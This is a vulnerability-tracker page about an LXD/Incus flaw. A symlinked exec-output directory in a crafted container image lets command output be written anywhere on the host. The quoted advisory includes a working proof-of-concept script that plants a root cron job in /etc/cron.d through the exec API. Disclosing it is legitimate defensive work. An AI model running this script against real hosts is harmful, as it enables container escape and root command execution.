Skip to main content
← Vulnerabilities

LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Exploited
No known exploitation
Fix
Fixed in 0.0.0-20260626085134-124f90100640
Who is exposed
Not reported

Do first: Upgrade to a fixed version: 0.0.0-20260626085134-124f90100640.

Published
Last modified
19/100 · provisional
Critical (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

LXD has a flaw where a crafted container image containing an `exec-output` symlink lets an attacker write files to an arbitrary location on the host when command output is recorded through the exec endpoint. The attacker can use this to plant files such as cron jobs on the host, which can lead to arbitrary command execution.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Read the original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

cve.now Index

19Pcve.now Index 19 of 100 · methodology v3 · provisional
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure?/25Unknown. No advisory context yet
  • Reach10/20Affects Go packages
  • Severity9/10Rated critical by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 74 if added to CISA KEV
  • Would score about 69 if CISA's SSVC rates exploitation active
  • Would score about 41 if advisories confirm default setups are exposed

What to do

  • Upgrade to a fixed version: 0.0.0-20260626085134-124f90100640.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/canonical/lxdGo

    fixed in 0.0.0-20260626085134-124f90100640

Evidence 11

  1. Advisory
  2. Advisory
  3. Advisory
  4. Repository
  5. Repository
Show all 11 sourcesShow fewer sources
  1. Repository
  2. Repository
  3. Repository
  4. Repository
  5. Repository
  6. Link

Corrections

None so far.

Something wrong on this page? Report an error. Every fix is listed here.

Questions about GHSA-9J25-MM2H-2F76

Is GHSA-9J25-MM2H-2F76 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

Which versions are affected by GHSA-9J25-MM2H-2F76?

github.com/canonical/lxd (Go): before 0.0.0-20260626085134-124f90100640.Source: cve.now feed data

How do I fix GHSA-9J25-MM2H-2F76?

Upgrade to a fixed version: 0.0.0-20260626085134-124f90100640.Source: cve.now feed data